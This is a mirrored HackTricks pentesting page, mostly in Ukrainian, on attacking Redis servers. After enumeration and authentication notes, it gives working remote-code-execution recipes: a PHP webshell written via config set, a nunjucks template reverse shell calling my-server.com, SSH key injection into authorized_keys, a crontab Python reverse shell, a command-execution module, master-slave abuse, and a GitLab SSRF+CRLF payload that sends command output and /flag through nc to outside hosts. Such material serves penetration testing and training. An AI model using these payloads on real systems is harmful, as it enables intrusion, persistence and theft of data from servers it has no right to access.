mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
342 lines
25 KiB
Markdown
342 lines
25 KiB
Markdown
# 6379 - Pentesting Redis
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||
|
||
**Hacking Insights**\
|
||
Engage with content that delves into the thrill and challenges of hacking
|
||
|
||
**Real-Time Hack News**\
|
||
Keep up-to-date with fast-paced hacking world through real-time news and insights
|
||
|
||
**Latest Announcements**\
|
||
Stay informed with the newest bug bounties launching and crucial platform updates
|
||
|
||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
|
||
|
||
## Основна інформація
|
||
|
||
З [документації](https://redis.io/topics/introduction): Redis - це відкритий код (ліцензія BSD), сховище **структур даних** в пам'яті, яке використовується як **база даних**, кеш і брокер повідомлень.
|
||
|
||
За замовчуванням Redis використовує протокол на основі простого тексту, але ви повинні пам'ятати, що він також може реалізувати **ssl/tls**. Дізнайтеся, як [запустити Redis з ssl/tls тут](https://fossies.org/linux/redis/TLS.md).
|
||
|
||
**Порт за замовчуванням:** 6379
|
||
```
|
||
PORT STATE SERVICE VERSION
|
||
6379/tcp open redis Redis key-value store 4.0.9
|
||
```
|
||
## Автоматичне перерахування
|
||
|
||
Деякі автоматизовані інструменти, які можуть допомогти отримати інформацію з екземпляра redis:
|
||
```bash
|
||
nmap --script redis-info -sV -p 6379 <IP>
|
||
msf> use auxiliary/scanner/redis/redis_server
|
||
```
|
||
## Manual Enumeration
|
||
|
||
### Banner
|
||
|
||
Redis є **текстовим протоколом**, ви можете просто **надіслати команду в сокет** і повернуті значення будуть читабельними. Також пам'ятайте, що Redis може працювати з використанням **ssl/tls** (але це дуже дивно).
|
||
|
||
У звичайному екземплярі Redis ви можете просто підключитися за допомогою `nc` або ви також можете використовувати `redis-cli`:
|
||
```bash
|
||
nc -vn 10.10.10.10 6379
|
||
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
|
||
```
|
||
Першою командою, яку ви можете спробувати, є **`info`**. Вона **може повернути вихід з інформацією** про екземпляр Redis **або щось** подібне до наступного:
|
||
```
|
||
-NOAUTH Authentication required.
|
||
```
|
||
У цьому останньому випадку це означає, що **вам потрібні дійсні облікові дані** для доступу до екземпляра Redis.
|
||
|
||
### Аутентифікація Redis
|
||
|
||
**За замовчуванням** Redis можна отримати доступ **без облікових даних**. Однак його можна **налаштувати** на підтримку **тільки пароля або імені користувача + пароля**.\
|
||
Можна **встановити пароль** у файлі _**redis.conf**_ за допомогою параметра `requirepass` **або тимчасово** до перезапуску служби, підключившись до неї та виконавши: `config set requirepass p@ss$12E45`.\
|
||
Також можна налаштувати **ім'я користувача** в параметрі `masteruser` всередині файлу _**redis.conf**_.
|
||
|
||
{% hint style="info" %}
|
||
Якщо налаштовано лише пароль, то використовується ім'я користувача "**default**".\
|
||
Також зверніть увагу, що **немає способу дізнатися зовні**, чи був Redis налаштований лише з паролем або з ім'ям користувача + паролем.
|
||
{% endhint %}
|
||
|
||
У таких випадках вам **потрібно знайти дійсні облікові дані** для взаємодії з Redis, тому ви можете спробувати [**brute-force**](../generic-methodologies-and-resources/brute-force.md#redis).\
|
||
**У разі, якщо ви знайшли дійсні облікові дані, вам потрібно аутентифікувати сесію** після встановлення з'єднання за допомогою команди:
|
||
```bash
|
||
AUTH <username> <password>
|
||
```
|
||
**Дійсні облікові дані** будуть підтверджені: `+OK`
|
||
|
||
### **Аутентифікована енумерація**
|
||
|
||
Якщо сервер Redis дозволяє **анонімні з'єднання** або якщо ви отримали дійсні облікові дані, ви можете розпочати процес енумерації для служби, використовуючи наступні **команди**:
|
||
```bash
|
||
INFO
|
||
[ ... Redis response with info ... ]
|
||
client list
|
||
[ ... Redis response with connected clients ... ]
|
||
CONFIG GET *
|
||
[ ... Get config ... ]
|
||
```
|
||
**Інші команди Redis** [**можна знайти тут**](https://redis.io/topics/data-types-intro) **і** [**тут**](https://lzone.de/cheat-sheet/Redis)**.**
|
||
|
||
Зверніть увагу, що **команди Redis екземпляра можуть бути перейменовані** або видалені у файлі _redis.conf_. Наприклад, цей рядок видалить команду FLUSHDB:
|
||
```
|
||
rename-command FLUSHDB ""
|
||
```
|
||
Більше про безпечну конфігурацію служби Redis тут: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
|
||
|
||
Ви також можете **моніторити в реальному часі команди Redis**, виконані за допомогою команди **`monitor`**, або отримати топ **25 найповільніших запитів** за допомогою **`slowlog get 25`**
|
||
|
||
Знайдіть більше цікавої інформації про інші команди Redis тут: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
|
||
|
||
### **Вивантаження бази даних**
|
||
|
||
У Redis **бази даних - це числа, що починаються з 0**. Ви можете дізнатися, чи використовується якась з них, у виході команди `info` у частині "Keyspace":
|
||
|
||
![](<../.gitbook/assets/image (766).png>)
|
||
|
||
Або ви можете просто отримати всі **keyspaces** (бази даних) за допомогою:
|
||
```
|
||
INFO keyspace
|
||
```
|
||
У цьому прикладі використовуються **бази даних 0 та 1**. **База даних 0 містить 4 ключі, а база даних 1 містить 1**. За замовчуванням Redis використовуватиме базу даних 0. Щоб, наприклад, скинути базу даних 1, вам потрібно зробити:
|
||
```bash
|
||
SELECT 1
|
||
[ ... Indicate the database ... ]
|
||
KEYS *
|
||
[ ... Get Keys ... ]
|
||
GET <KEY>
|
||
[ ... Get Key ... ]
|
||
```
|
||
У випадку, якщо ви отримаєте наступну помилку `-WRONGTYPE Operation against a key holding the wrong kind of value` під час виконання `GET <KEY>`, це може бути через те, що ключ може бути чимось іншим, ніж рядок або ціле число, і вимагає спеціального оператора для його відображення.
|
||
|
||
Щоб дізнатися тип ключа, використовуйте команду `TYPE`, приклад нижче для спискових та хеш-ключів.
|
||
```bash
|
||
TYPE <KEY>
|
||
[ ... Type of the Key ... ]
|
||
LRANGE <KEY> 0 -1
|
||
[ ... Get list items ... ]
|
||
HGET <KEY> <FIELD>
|
||
[ ... Get hash item ... ]
|
||
|
||
# If the type used is weird you can always do:
|
||
DUMP <key>
|
||
```
|
||
**Вивантажте базу даних за допомогою npm**[ **redis-dump**](https://www.npmjs.com/package/redis-dump) **або python** [**redis-utils**](https://pypi.org/project/redis-utils/)
|
||
|
||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
|
||
|
||
**Інсайти з хакінгу**\
|
||
Залучайтеся до контенту, який занурюється у захоплення та виклики хакінгу
|
||
|
||
**Новини про хакінг у реальному часі**\
|
||
Слідкуйте за швидкоплинним світом хакінгу через новини та інсайти в реальному часі
|
||
|
||
**Останні оголошення**\
|
||
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ
|
||
|
||
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
|
||
|
||
## Redis RCE
|
||
|
||
### Інтерактивна оболонка
|
||
|
||
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) може автоматично отримати інтерактивну оболонку або зворотну оболонку в Redis(<=5.0.5).
|
||
```
|
||
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
|
||
```
|
||
### PHP Webshell
|
||
|
||
Інформація з [**тут**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Ви повинні знати **шлях** до **папки веб-сайту**:
|
||
```
|
||
root@Urahara:~# redis-cli -h 10.85.0.52
|
||
10.85.0.52:6379> config set dir /usr/share/nginx/html
|
||
OK
|
||
10.85.0.52:6379> config set dbfilename redis.php
|
||
OK
|
||
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
|
||
OK
|
||
10.85.0.52:6379> save
|
||
OK
|
||
```
|
||
Якщо виникає виняток доступу до веб-оболонки, ви можете очистити базу даних після резервного копіювання і спробувати знову, не забувайте відновити базу даних.
|
||
|
||
### Шаблон веб-оболонки
|
||
|
||
Як і в попередньому розділі, ви також можете перезаписати деякий html шаблонний файл, який буде інтерпретовано шаблонним двигуном, і отримати оболонку.
|
||
|
||
Наприклад, слідуючи [**цьому опису**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), ви можете побачити, що зловмисник вставив **rev shell в html**, інтерпретований **двигуном шаблонів nunjucks:**
|
||
```javascript
|
||
{{ ({}).constructor.constructor(
|
||
"var net = global.process.mainModule.require('net'),
|
||
cp = global.process.mainModule.require('child_process'),
|
||
sh = cp.spawn('sh', []);
|
||
var client = new net.Socket();
|
||
client.connect(1234, 'my-server.com', function(){
|
||
client.pipe(sh.stdin);
|
||
sh.stdout.pipe(client);
|
||
sh.stderr.pipe(client);
|
||
});"
|
||
)()}}
|
||
```
|
||
{% hint style="warning" %}
|
||
Зверніть увагу, що **декілька шаблонних движків кешують** шаблони в **пам'яті**, тому навіть якщо ви їх перезапишете, новий **не буде виконаний**. У таких випадках або розробник залишив автоматичне перезавантаження активним, або вам потрібно зробити DoS над сервісом (і сподіватися, що він буде перезапущений автоматично).
|
||
{% endhint %}
|
||
|
||
### SSH
|
||
|
||
Приклад [звідси](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
|
||
|
||
Будь ласка, зверніть увагу, що результат **`config get dir`** може змінитися після інших ручних експлойт-команд. Рекомендується виконати його спочатку відразу після входу в Redis. У виході **`config get dir`** ви можете знайти **домашню** директорію **користувача redis** (зазвичай _/var/lib/redis_ або _/home/redis/.ssh_), і знаючи це, ви знаєте, куди можна записати файл `authenticated_users` для доступу через ssh **з користувачем redis**. Якщо ви знаєте домашню директорію іншого дійсного користувача, де у вас є права на запис, ви також можете зловживати цим:
|
||
|
||
1. Згенеруйте пару ssh публічного-приватного ключа на вашому ПК: **`ssh-keygen -t rsa`**
|
||
2. Запишіть публічний ключ у файл : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
|
||
3. Імпортуйте файл у redis : **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
|
||
4. Збережіть публічний ключ у файлі **authorized\_keys** на сервері redis:
|
||
|
||
```
|
||
root@Urahara:~# redis-cli -h 10.85.0.52
|
||
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
|
||
OK
|
||
10.85.0.52:6379> config set dbfilename "authorized_keys"
|
||
OK
|
||
10.85.0.52:6379> save
|
||
OK
|
||
```
|
||
5. Нарешті, ви можете **ssh** на **сервер redis** з приватним ключем : **ssh -i id\_rsa redis@10.85.0.52**
|
||
|
||
**Ця техніка автоматизована тут:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
|
||
|
||
### Crontab
|
||
```
|
||
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
|
||
OK
|
||
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
|
||
OK
|
||
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
|
||
OK
|
||
root@Urahara:~# redis-cli -h 10.85.0.52 save
|
||
OK
|
||
```
|
||
Останній приклад для Ubuntu, для **Centos** вище наведена команда повинна бути: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
|
||
|
||
Цей метод також можна використовувати для заробітку біткойнів :[yam](https://www.v2ex.com/t/286981#reply14)
|
||
|
||
### Завантаження модуля Redis
|
||
|
||
1. Дотримуючись інструкцій з [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand), ви можете **скомпілювати модуль redis для виконання довільних команд**.
|
||
2. Потім вам потрібен спосіб **завантажити скомпільований** модуль.
|
||
3. **Завантажте завантажений модуль** під час виконання за допомогою `MODULE LOAD /path/to/mymodule.so`.
|
||
4. **Перерахуйте завантажені модулі**, щоб перевірити, чи був він правильно завантажений: `MODULE LIST`.
|
||
5. **Виконайте** **команди**:
|
||
|
||
```
|
||
127.0.0.1:6379> system.exec "id"
|
||
"uid=0(root) gid=0(root) groups=0(root)\n"
|
||
127.0.0.1:6379> system.exec "whoami"
|
||
"root\n"
|
||
127.0.0.1:6379> system.rev 127.0.0.1 9999
|
||
```
|
||
6. Вивантажте модуль, коли захочете: `MODULE UNLOAD mymodule`.
|
||
|
||
### Обхід пісочниці LUA
|
||
|
||
[**Тут**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) ви можете побачити, що Redis використовує команду **EVAL** для виконання **коду Lua в пісочниці**. У пов'язаному пості ви можете побачити, **як зловживати цим**, використовуючи функцію **dofile**, але [очевидно](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval), що це більше не можливо. У будь-якому випадку, якщо ви можете **обійти пісочницю Lua**, ви могли б **виконати довільні** команди на системі. Також, з того ж посту ви можете побачити деякі **варіанти для виклику DoS**.
|
||
|
||
Деякі **CVE для втечі з LUA**:
|
||
|
||
* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
|
||
|
||
### Модуль Master-Slave
|
||
|
||
Головний redis автоматично синхронізує всі операції з slave redis, що означає, що ми можемо розглядати вразливий redis як slave redis, підключений до головного redis, який ми контролюємо, тоді ми можемо ввести команду до нашого власного redis.
|
||
```
|
||
master redis : 10.85.0.51 (Hacker's Server)
|
||
slave redis : 10.85.0.52 (Target Vulnerability Server)
|
||
A master-slave connection will be established from the slave redis and the master redis:
|
||
redis-cli -h 10.85.0.52 -p 6379
|
||
slaveof 10.85.0.51 6379
|
||
Then you can login to the master redis to control the slave redis:
|
||
redis-cli -h 10.85.0.51 -p 6379
|
||
set mykey hello
|
||
set mykey2 helloworld
|
||
```
|
||
## SSRF talking to Redis
|
||
|
||
Якщо ви можете надіслати **текстовий** запит **до Redis**, ви можете **спілкуватися з ним**, оскільки Redis буде читати запит рядок за рядком і просто відповідати помилками на рядки, які не розуміє:
|
||
```
|
||
-ERR wrong number of arguments for 'get' command
|
||
-ERR unknown command 'Host:'
|
||
-ERR unknown command 'Accept:'
|
||
-ERR unknown command 'Accept-Encoding:'
|
||
-ERR unknown command 'Via:'
|
||
-ERR unknown command 'Cache-Control:'
|
||
-ERR unknown command 'Connection:'
|
||
```
|
||
Тому, якщо ви знайдете **SSRF vuln** на веб-сайті і зможете **контролювати** деякі **заголовки** (можливо, з вразливістю CRLF) або **POST параметри**, ви зможете надсилати довільні команди до Redis.
|
||
|
||
### Приклад: Gitlab SSRF + CRLF до Shell
|
||
|
||
У **Gitlab11.4.7** була виявлена **SSRF** вразливість та **CRLF**. **SSRF** вразливість була в **функціоналі імпорту проекту з URL** під час створення нового проекту і дозволяла отримувати доступ до довільних IP-адрес у формі \[0:0:0:0:0:ffff:127.0.0.1] (це отримує доступ до 127.0.0.1), а вразливість **CRLF** була використана просто **додаванням символів %0D%0A** до **URL**.
|
||
|
||
Тому було можливим **зловживати цими вразливостями, щоб спілкуватися з екземпляром Redis**, який **керує чергами** з **gitlab** і зловживати цими чергами, щоб **отримати виконання коду**. Пейлоад зловживання чергою Redis:
|
||
```
|
||
multi
|
||
sadd resque:gitlab:queues system_hook_push
|
||
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
|
||
exec
|
||
```
|
||
І запит **URL encode**, що **зловживає SSRF** та **CRLF** для виконання `whoami` і відправки виходу через `nc`, виглядає так:
|
||
```
|
||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
||
```
|
||
_З якоїсь причини (як для автора_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _звідки була взята ця інформація) експлуатація працювала з схемою `git`, а не з схемою `http`._
|
||
|
||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
|
||
|
||
**Інсайти з хакінгу**\
|
||
Залучайтеся до контенту, який занурюється в захоплення та виклики хакінгу
|
||
|
||
**Новини хакінгу в реальному часі**\
|
||
Слідкуйте за швидкоплинним світом хакінгу через новини та інсайти в реальному часі
|
||
|
||
**Останні оголошення**\
|
||
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ
|
||
|
||
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
|
||
|
||
{% hint style="success" %}
|
||
Вчіться та практикуйте хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Вчіться та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Підтримати HackTricks</summary>
|
||
|
||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||
|
||
</details>
|
||
{% endhint %}
|